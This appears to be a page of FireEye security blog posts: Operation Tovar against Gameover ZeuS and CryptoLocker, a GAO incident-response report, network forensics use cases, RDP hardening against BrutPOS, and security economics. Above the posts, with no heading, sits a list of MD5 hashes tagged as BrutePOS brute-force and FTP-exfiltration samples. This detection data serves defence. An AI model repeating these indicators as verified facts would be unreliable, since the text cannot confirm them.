daae858fe34dcf263ef6230d887b111d: BrutePOS_Brute
31bd8dd48ac0de3d4da340bf29f4d280: BrutePOS_Brute
0f2266f63c06c0fee3ff999936c7c10a: BrutePOS_Brute
4d4fd96fabb1c525eaeeae8f2652ffa6: BrutePOS_Brute
da6d727ddf096b6654406487bf22d26c: BrutePOS_Brute
fd58144a4cd354bfd09719ac2ccd3511: BrutePOS_Brute
e38e42f20e027389a86d6a5816a6d8f8: BrutePOS_Brute
08863d484b1ebe6359144c9a8d8027c0: BrutePOS_Brute
4ab3a6394a3a1860a6c52cf92d7f7560: BrutePOS_Brute
0e58848506a525c755cb0dad397c1c44: BrutePOS_Brute
60c16d8596063f6ee0eae579f201ae04: BrutePOS_Brute
b2d4fb4977630e68107ee87299a714e6: BrutePOS_Brute
68ba1afd4585b9355cf7009f4604a208: BrutePOS_Brute
9d3d769d3feea92fd4794fc3c59e32df: BrutePOS_Brute
b63581fcf0ff86bb771c3c33205c78ca: BrutePOS_Brute
18eba6f28ab6c088d9fc22b4cc154a77: BrutePOS_Brute
4802539350908fd447a5c3ae3e966be0: BrutePOS_Brute
cbbb68f6d8eda1071078a02fd79ed3ec: BrutePOS_Brute
8ba3c7ccd0a61d5c9a8b94a71ce06328: BrutePOS_Brute
9b8de98badede7f837a34e318b12d842: BrutePOS_Brute
78f4a157db42321e8f61294bb39d7a74: BrutePOS_FTP_Exfil
f36889f30b62a7524bafc766ed78b329: BrutePOS_FTP_Exfil
95b13cd79621931288bd8a8614c8483f: BrutePOS_FTP_Exfil
4aed6a5897e9030f09f13f3c51668e92: BrutePOS_FTP_Exfil
06d8d8e18b91f301ac3fe6fa45ab7b53: BrutePOS_FTP_Exfil
faddbf92ab35e7c3194af4e7a689897c: BrutePOS_FTP_Exfil

Operation Tovar: The Latest Attempt to Eliminate Key Botnets

Coordinated botnet disruptions have increased in pace and popularity over the last few years as more private companies work with international law enforcement agencies to combat malware infections on a grand scale. Operation Tovar, announced on June 2 2014, is the latest to make headlines. The target of the investigation, Evgeniy Mikhailovich Bogachev, was indicted by the Department of Justice and is wanted by the FBI for his role as alleged leader of the Gameover ZeuS and CryptoLocker botnets. Four other defendants were indicted using their pseudonyms. Though Bogachev’s current activities aren’t known, the Operation Tovar task force has maintained control of the botnet infrastructure and remediation efforts are ongoing.

While new malware strains are released with increasing frequency, it’s easy to forget why Gameover and CryptoLocker are worthwhile targets for takedown operations. Both offered more advanced features than their peers and typified the increasingly sophisticated cybercriminal enterprises behind botnets.

Gameover ZeuS

Since the ZeuS source code was released in 2011, several new variants have appeared in the wild. Citadel, KINS, ICE IX, and Gameover have all improved upon the basic ZeuS model by introducing new features, using better encryption, and modifying command and control (C2) communication methods.

Gameover uses a peer-to-peer (P2P) system for C2 communication. Though other P2P botnets such as Kelihos exist, Gameover is notable for its use of proxy nodes to introduce complexity into the standard P2P infrastructure. These proxy nodes are specific machines designated as relay points through which the botnet operators send commands and receive stolen information. This minimizes the number of systems that actually communicate with C2 servers. C2 commands are signed using RSA-2048 and encrypted with RC4 making it very difficult to tamper with the botnet.

Additionally, Gameover maintains a failsafe mechanism: a domain generation algorithm (DGA) that produces 1,000 domains each week. This feature enables the operators to maintain control of their botnet even if the P2P infrastructure is compromised. The DGA produces long, nonsensical strings at one of six top-level domains: .com, .net, .org, .biz, .info, and .ru that can be registered and used to send commands to the botnet.

ZeuS and all its variants are information-stealing trojans. We refer to them as banking trojans because that’s where they excel and Gameover is no exception. Gameover is able to trick the user into handing over personal information and can even defeat two-factor authentication. It accomplishes this by injecting custom code into the browser when a victim visits certain websites. Gameover’s arsenal of bank account takeover tools includes 1,500 web injections that were custom-made to target the websites of more than 700 financial institutions worldwide.

In addition to its exceptional abilities as a banking trojan, Gameover is capable of a wider variety of data theft activities. An Operation Tovar task force member, speaking to Brian Krebs on the condition of anonymity, said they have evidence of additional harvested data and that Gameover targeted proprietary information.

CryptoLocker

Not content with merely engaging in widespread banking credential and information theft, the Gameover criminal operators decided to maximize returns by infecting systems with CryptoLocker. It is a type of ransomware that encrypts the files on infected machines and then demands a ransom of hundreds of dollars in order to receive a decryption key. Typically, victims were given 72 hours to pay the ransom in bitcoins or risk losing their data.

Unwilling to miss out on any opportunity to generate revenue, the criminal operators set up a website to assist victims in paying the ransom in bitcoins. Through this website, victims could complete the transaction and track the status of their “order” – the ransom payment in exchange for the decryption key. Some victims, unwilling or unable to pay the ransom, missed the 72-hour deadline only to see the ransom demand increase fivefold.

Law enforcement officials discouraged people from paying the ransom since it would fund a criminal organization, but without back ups many victims had little choice but to pay. A US police department paid $750 for two Bitcoins as ransom after CryptoLocker was installed on a system used for police reports and booking photos. CryptoLocker encrypts files using asymmetric encryption, making use of a public and a private key. Without the private key, located on the criminals’ servers, infected files probably cannot be decrypted.

The Target

Operation Tovar’s investigation began with a server in the UK. A trail of wire transfers, money mules, criminal servers, and at least one confidential source led investigators to Bogachev. He is a Russian citizen wanted on charges of conspiracy to participate in racketeering activity, bank fraud, conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to violate the Identity Theft and Assumption Deterrence Act, aggravated identity theft, conspiracy, computer fraud, wire fraud, and money laundering. The FBI estimates the financial toll of Gameover at over $100 million and another estimate is that more than $27 million in ransom payments were made in the first two months of CryptoLocker’s distribution.

Obtaining an indictment against a Russian national who will likely never be extradited to the United States isn’t sufficient to put an end to a criminal organization. In 2011, Russian citizen Aleksandr Andreevich Panin was indicted in the US on 23 counts related to the development and distribution of SpyEye but was not arrested until 2013 when he flew through Hartsfield-Jackson Atlanta International Airport. The Russian government, in a travel warning to its citizens, specifically mentions Panin and recommends that Russians facing legal action in the US should refrain from travelling internationally.

The Takeover

Drawing on the technical expertise of its members, the Operation Tovar task force was able to exploit flaws in the design of Gameover’s P2P network to manipulate the peer list and redirect traffic to nodes under its control. The specific technical details have not been released to the public in order to prevent the criminals from regaining control.

Gameover’s failsafe mechanism, the DGA that was supposed to have allowed the criminals to maintain control in the event of a P2P disruption, was reverse engineered by task force members. The FBI then obtained a restraining order to redirect any attempts to register those domains to a government-run server. Furthermore, US service providers are required to block connections to the Russian .ru domains generated by the DGA since the US has no jurisdiction to prevent their registration.

CryptoLocker also used a DGA for determining C2 locations. The algorithm was reverse engineered and the C2 servers were identified and seized by the Operation Tovar task force. Due to the use of an asymmetric key algorithm, CryptoLocker victims whose files remain encrypted currently have no avenue of remediation.

Operation Tovar’s success can be measured by two factors: (1) Have the criminals regained control of their botnets and (2) Is the malware being removed from infected machines? While we can’t say for certain that the people responsible for Gameover and CryptoLocker have ceased all criminal activity, they have not regained control of the network disrupted by Operation Tovar. Based on this fact alone, the task force should be commended. Successful botnet disruptions are very challenging. Attempted takeovers over Kelihos have been undone after only two weeks.

The remediation of infected machines is an even more difficult task. US-CERT has published a list of recommended actions and resources, and a number of the private companies involved in Operation Tovar have released scanning tools. The onus remains on individuals and organizations to use these resources to determine if they are infected and take the appropriate steps to remediate the problem. Statistics published by The Shadowserver Foundation show the number of machines infected with Gameover has remained essentially flat since the takeover. There are simply not enough people taking advantage of the resources available to remediate their systems.

tovar1

The task force has taken control of the C2 network and now some people may believe that the malware is neutered and no further action is required. It is important to remember that any malware is unauthorized code running on a computer. The integrity of the system is still compromised, regardless of who is in control of the botnet.

Security Perspective


Filter by Category:


Security as a Differentiator: Investis Partners With FireEye Managed Defense to Offer Its Clients the Very Best in Cybersecurity

This is a contributed post from Alex Booth, COO, Investis

As a provider of digital corporate communication services to many of the world’s leading companies, information security is of critical importance to us here at Investis. In order to be the world’s safest platform for managing digital communications and hosting corporate sites, we wanted the strongest security partner in the business. As COO of Investis, this was a critical decision which is why I wanted to share the reasons we chose FireEye Managed Defense. To give you the short version, though, the choice was easy – the long version of which you can see in the video below or get a synopsis of in this post…

We are an ISO 27001 certified company and a member of CISP, the UK government’s cybersecurity information partnership. We believe you can never take security too seriously, especially in a digital landscape with increasingly sophisticated cybercrime. With that in mind, we wanted the most advanced solution to protect our environment and clients, and FireEye was the perfect partner to help us safeguard against advanced threats.

FireEye is the cybersecurity partner of choice for many of the US’s largest firms and its subsidiary, Mandiant, was selected by the UK Government Communications Headquarters (GCHQ) as one of four vendors certified to respond to cybersecurity attacks targeting the UK’s national infrastructure.

As a result of an on-site assessment by Mandiant consultants, we chose to augment our security team with the FireEye Managed Defense service.

We are looking forward to working with the great team over at FireEye to ensure we offer our clients the very best in cybersecurity.

US GAO Report Highlights Incident Response Shortcomings

On May 30th, 2014, the US Government Accountability Office (GAO) released a report titled “Information Security: Agencies Need to Improve Cyber Incident Response Practices.” GAO conducted its research by randomly selecting six government agencies, then selecting a statistically significant number of incident reports (40 from each organization), documented during 2012. GAO then evaluated how the agencies performed, based on the reports. GAO compared the documented incident response actions to requirements set by the Federal Information Security Management Act of 2002 (FISMA) and National Institute of Standards and Technology (NIST) Special Publication 800-61, Computer Security Incident Handling Guide. The results were surprising and I will explain the significance of several excerpts in this post.

First, “agencies had recorded actions to halt the spread of, or otherwise limit, the damage caused by an incident in about 75 percent of incidents government-wide. However, agencies did not demonstrate such actions for about 25 percent of incidents government-wide.”

This comment references the need to contain an intrusion. If a government agency fails to completely contain an intrusion, any gaps leave the adversary freedom of maneuver. He can exploit the containment failure to proliferate to other systems and remain in control of an organization’s systems. Anything less than 100% containment is essentially 0% containment.

Second, “for about 77 percent of incidents government-wide, the agencies had identified and eliminated the remaining elements of the incident. However, agencies did not demonstrate that they had effectively eradicated incidents in about 23 percent of incidents.”

This comment references the need to remove an intruder from a compromised organization. Similar to the need for 100% containment, one must also achieve 100% removal in order to completely frustrate the adversary. If an adversary retains access to even one system, he can rebuild his position and retake control of the victim.

Third, “agencies returned their systems to an operationally ready state for about 81 percent of incidents government-wide. However, they had not consistently documented remedial actions on whether they had taken steps to prevent an incident from reoccurring. Specifically, agencies did not demonstrate that they had acted to prevent an incident from reoccurring in about 49 percent of incidents government-wide.”

This comment describes the need to learn from intrusions and implement remediation. If a victim fails to make the environment tougher for the adversary, the intruder will likely return using the same techniques that he utilized to first gain access.

Finally, a search of the entire GAO report for the word “strategy” produced zero hits. Beyond being disappointed by the three excerpts I highlighted above, I am dismayed to not hear GAO discuss the need for a security strategy for organizations. Incident response is not a technical action. IR should be part of a business process, done as part of an operation that implements a strategy understood and approved by the highest levels of management. Furthermore, the GAO report did not really evaluate the consequences of the three documented failures and the lack of concrete security strategies. Had GAO taken that step, they might have concluded that the agencies continue to face severe security challenges.

Network Forensics: Use Cases In the Enterprise

Network forensics is an important component of a successful security operations program. It is an important capability that provides a data of record for the incident responder and plays an important role in the daily security operations workflow.  While the utility and importance of network forensics may be clear to the security professional, that value may be difficult to communicate to the business decision maker or executive. In this post, I’d like to discuss several business use cases for network forensics that may help communicate the value and business need for network forensics as an integral component of incident response.

Breach Response

When an organization discovers, or is notified of a breach, time becomes of the essence. The organization’s immediate focus becomes moving quickly from detection to containment. In order to make this move, the organization needs to answer a set of essential questions aimed at identifying the extent of the breach and the damage caused by it. This process is often called breach response and involves investigation, analysis, and forensics. Examples of some of the questions that will need to be answered are:

  • How long has this activity been going on (i.e., when did the intrusion begin)?
  • Is the activity still going on?
  • How many systems were affected?
  • What data was taken?
  • Was any sensitive, proprietary, or confidential information taken?

These and other relevant questions are designed to focus the organization on rapidly identifying the extent of the damage, both for containment purposes, but also to address potential public relations, legal, and privacy concerns. For example, consider the case where a law enforcement agency approaches a business (of any size) and informs them that they have been breached and have been observed communicating with a known drop site. The organization will have many questions, including, among many others, those listed above. An accurate, cohesive, lossless data of record is required to properly answer all of the necessary questions. Further, it’s not sufficient merely collect the data, but rather, it must be easy to precisely, incisively, and rapidly extract that data for analysis and forensics.

Hunting

On any network, there will be unusual or suspect activity from time to time. Sometimes, this unusual activity can be indicative of advanced threats and targeted activity. Many times, the threat actors are quite adept at keeping a low profile and executing actions on objectives subtly. For example, Advanced Persistent Threat (APT) actors may compromise an endpoint inside of an organization and slowly collect sensitive, proprietary, or confidential information to stage for subsequent exfiltration. While detecting this activity in an automated fashion would be ideal, this turns out to be very difficult in practice. As a result, if this activity is successfully detected within the organization (as opposed to via a third party), it is most often done so via hunting. Hunting is the activity through which skilled analysts use a variety of different analytical techniques to “slice and dice” the network traffic data in the “hunt” for this subtle malicious activity. The best analysts will want to issue targeted, precise, incisive queries designed to extract the proper forensics data rapidly, with minimal noise. This requires a network forensics capability that can rise to this challenge at enterprise network speeds and traffic volumes.

Metrics/Network Knowledge

Metrics provide important data points to the decision maker and executive. As a recent example, let us consider the many new Top Level Domains (TLDs) that have become available for use. Attackers have already leveraged some of these TLDs for malicious purposes, and this activity will undoubtedly continue to increase. This example begs the question: If a TLD serves no legitimate business purpose and can only expose the organization to risk, should it be blocked proactively? I believe the answer to this question is yes. But how can we ensure that a TLD serves no business purpose? This is where the metrics and network knowledge become so crucial.  Business decisions should be based on facts, and facts come from an accurate, precise data of record – the network forensics data. This is merely one example of the many business questions that can be answered with metrics driven by network forensics data. When business decision makers or executives need answers, it is best to be able to provide answers based on ground truth.

Intelligence

When leveraged properly, actionable intelligence can provide additional enrichment and maturity to a security operations program, as well as aid in the improved detection of intrusions. Leveraging intelligence properly involves many details, but one of the most important details is that a reliable data of record exists. After various Indicators of Compromise (IOCs) are received and vetted, they should be leveraged against a reliable data of record in order to maximize their value. There are two time-based aspects here – historical and ongoing. We can run IOCs against our historical data to check for evidence of intrusions present on the network from the past on through the current day. In addition to that, we should also monitor for evidence of intrusions on an ongoing basis and raise an event to the alert queue when we see that evidence. These are both productive activities, assuming that an accurate, cohesive, lossless data of record exists for us to run the IOCs against.  Further, it is not merely enough to collect the data – we need to be able to rapidly and surgically extract the data through targeted, precise, and incisive queries. For example, an organization may receive a daily feed of malicious command and control domain names from one or more of its intelligence sources. That data needs to be run against a corresponding data of record to find instances of command and control activity present on the organization’s network indicating that some systems are compromised. A scalable network forensics solution, one that can both record all of the network data at high speed as well as make that data and meta-data available for analysis, is required in order to properly leverage intelligence.

DNS/Passive DNS

Data from Domain Name System (DNS) queries and responses provide a wealth of insight into unusual or suspect activity that may be occurring on the network. For example, most users pointing their browsers at legitimate websites will request domain names that resolve to routable, public IP addresses. But what if a resource on the network repeatedly requests a domain name that resolves to private, non-routable IP address or one that has no resolution at all? Further, what if that domain name suddenly “comes alive” and begins resolving to a routable, public IP address and/or the resource begins exfiltrating data to that IP address? This is just one of many interesting applications of DNS query and response data. As interesting and crucial as this data is, many organizations struggle to maintain adequate visibility across their DNS infrastructure. There are many reasons why this is the case, but there is a solution. A network forensics platform collects layer 7 enriched meta-data for many application protocols, DNS among them. This provides an organization with a de facto DNS monitoring and passive DNS data collection system, without requiring the organization to invest in additional technology or hardware. It’s one of my favorite use cases for network forensics and likely one that will resonate with many readers. For smaller organizations, there is also the additional benefit of using using one network forensics technology for multiple purposes.

Intelligent Alerting

As the old saying goes, ask a stupid question, get a stupid answer. The modern attacker is intelligent and sophisticated. We would be naïve to think that we could identify a sly attacker’s subtle activity with dull, generic queries. If we want to find the intelligent attacker, we need to ask intelligent questions. Asking intelligent questions requires two fundamental components. The first required component is that the data be collected and its associated meta-data extracted and indexed for rapid search. The second required component is a robust query language that allows the analyst to ask incisive, targeted, precise, intelligent questions of the data. It’s likely not a surprise that a mature, scalable, powerful network forensics solution provides both of these required components. For example, say I am a mid-sized organization concerned by potential theft of intellectual property from my executives. With the right solution in place, I can precisely craft my alert logic so as to focus in on the specific employees, systems, data, and threats I am concerned with. In the absence of that capability, many organizations struggle to issue queries powerful enough to identify suspicious and malicious activity designed to behave subtly and fly under the radar.

There are many use cases for network forensics, but I’ve tried to list those that may help to reinforce the strong business need for network forensics. When the need arises to perform breach response or any of the other use cases listed above, the organization that has implemented a robust, scalable network forensics solution will fare better than the organization that has not. With the stakes so high these days, it would be a shame not to be prepared.

BrutPOS From a Security Practioner’s Perspective

Today, FireEye Labs posted a technical blog on the malware for a botnet that we call BrutPOS. With a lot of attention focused on data breaches in retail, BrutPOS gives us a chance to look retrospectively on the state of retail security.

The popular phrase “a chain is only as strong as its weakest link” has great relevance in the information security world.  There are a large number of ways to compromise a business network, yet attackers are quite successful in this endeavor using fairly pedestrian methods of attack.  This raises the important question: Why is this the case?  Part of the answer lies in the fact that attackers don’t feel a great need to use particularly sophisticated attack methods.  In other words, if attackers can succeed using fairly elementary attack methods, why should they work any harder?  Let’s examine this principle through the example of the BrutPOS malware.

Most businesses use Microsoft’s Remote Desktop Protocol (RDP) as an integral part of their day-to-day business operations.  RDP allows for remote login to Windows systems.  This has many legitimate uses, such as an administrator logging on to a system remotely to update a software package.  Like any legitimate service, attackers are also quite happy to leverage RDP for their own nefarious purposes.  An example of this is the BrutPOS malware, the analysis of which was detailed in a FireEye blog post today. At a high level, the purpose of the BrutPOS malware is to compromise Point of Sale (POS) terminals through the use of the remote desktop protocol (RDP).  The malware aims to steal payment card information from those compromised POS terminals.  There is no need for the attackers to write a sophisticated protocol for their malware to log on to systems remotely – the RDP works quite nicely.

There are many approaches an organization can take to better manage the risk presented in the BrutPOS malware. One of those approaches is to go back to basics and remember some important foundational tenets of information security.  This approach involves ensuring that authentication and authorization policies are sensible and enforced across the organization.  For example, some simple steps an organization can take to improve its defenses against threats such as BrutPOS include (but are not limited to):

  • Not allowing administrative access to systems, with the exception of special administrative accounts for administrators
  • Locking out accounts after N number of incorrect login attempts
  • Not allowing RDP login by default on systems, but rather, granting it on an as needed basis
  • Limiting or eliminating the use of shared or group accounts
  • Monitoring authentication logs for repetitive failed login attempts to one system or multiple systems

As organizations look to continually improve their information security postures, it’s important to remember that foundational tenets are as valid as ever.  We do need to ensure that we have a variety of defensive measures in our arsenal, but it’s important to remember that not all of them need be cutting edge.  Sometimes, foundational best practices can provide us with straightforward approaches to mitigating risk posed by modern threats.

Economics of Security Part II: Qualifying the Economic Return From Cybersecurity Solutions

In part one of this series, my colleague, Bryce Boland, CTO, APAC touched on aligning a security program with the value-areas of a business. To be successful in this endeavor, you must calculate the return on investment (ROI) that a robust security program will offer. In part two, I will offer recommendations to achieving this.

The economics of security is an interesting challenge. I polled some contacts and discovered that, as much as we focus on reducing the capex on software and hardware, the majority of costs are actually opex. Therefore if we want to drive efficiencies in security, we should look at the usability (i.e. the time and costs required to achieve the desired outcome) of the tools as much as what they actually do.

Cybersecurity is a multi-dimensional problem, so whilst we consider efficiencies we must look at them in the context of outcomes and value. Our value question in cybersecurity has two factors: (1) are we able to leverage the most efficient path to obtain the solution and (2) being able prioritize on events/incidents that have the greatest business impact.

Simple event/incident response process

The rudimentary processes behind cyber have been around for years and are well documented in various standards. There’s a catalyst event that drives us to understand the problem, so we can qualify and prioritize if and when we need to respond – i.e. solve the problem.

Screen Shot 2014-07-02 at 10.41.08 PM

Are we increasing or decreasing efficiencies?

In recent years many have suggested the logic that “big data” can help us make smart decisions. Yet there is danger that this can create a spiral effect that has the potential to cripple us. By adding more content, we increase the cycles required to understand, qualify and respond. There is also a key question around the quality of that data. Take for example all the events we aggregate into a SIEM tool today, how many of those are truly worth taking action on?

How do we measure success and value?

If we are to evaluate the economic value cyber security solutions bring we need to look less at what they do and instead more how they do it. We need to understand the quality of the information they provide, both in terms of business impact and conversion to action, as well as the operational cycles required to achieve this; which are the cost & time multipliers.

As our technology world complexity continues, the operational aspect as a multiplier can only increase. Today I hear more companies asking for partnerships to solve problems rather than products; they see the time and skills challenge in solving the problem as prohibitive. If we are to succeed today, we need outcome focused solutions; that is they are efficient in providing actionable responses that are business oriented in their focus and/or services that reduce the operation costs associated with time to action. So how do we evaluate this in our buying criteria?

There have been many ROI tools that try to qualify the potential value that come from security investments. However if we are to align to business goals, we must drill into the process behind event correlation/validation – the heart of security – for business impact assessment and response actions.

Qualifying economic value from event/incident management

The framework below aims to give you a reference point to start to map out the economics of your security program.

Given solving this problem is entirely dependent on each individual organization; we must be able to qualify what makes our businesses profitable and how technology enables this. The model does not include metrics in each part of the incident lifecycle but does highlight some of the common key success metrics.

To make economic judgments, you need to assess the following:

  1. What is the ratio between events received and action taken?
  2. What is the efficacy level in the events & incidents you identify (i.e. the real cyber attack event to false positive ratio)?
  3. How many cycles do you iterate through to get from an event(s) to an action; is it timely and cost efficient? (Can you rank the processes/tools you leverage today in terms of man-hours and skills required to get to to action?)
  4. Do you align, prioritize and qualify events against against business goals and impact (How many cycles does this take)?
  5. Make the assessment using the framework & success criteria below to evaluate the key time and cost multipliers in your event/incident security process, so you can validate the economic value that comes from the processes and tools you leverage today, to see which are effective and which are not?
Measures of effectiveness of event/incident management

Measures of effectiveness of event/incident management

In conducting the evaluation process above (and visually outlined above), there is a defined process for tying operational expenditures with investments for securing the processes that generate business value. By analyzing the actions taken to conduct security operations and the, ideally, efficiencies in doing so, security leaders will be able to provide a full picture of their impact on the business. Ultimately, this changes the security conversations from just security to business practices overall.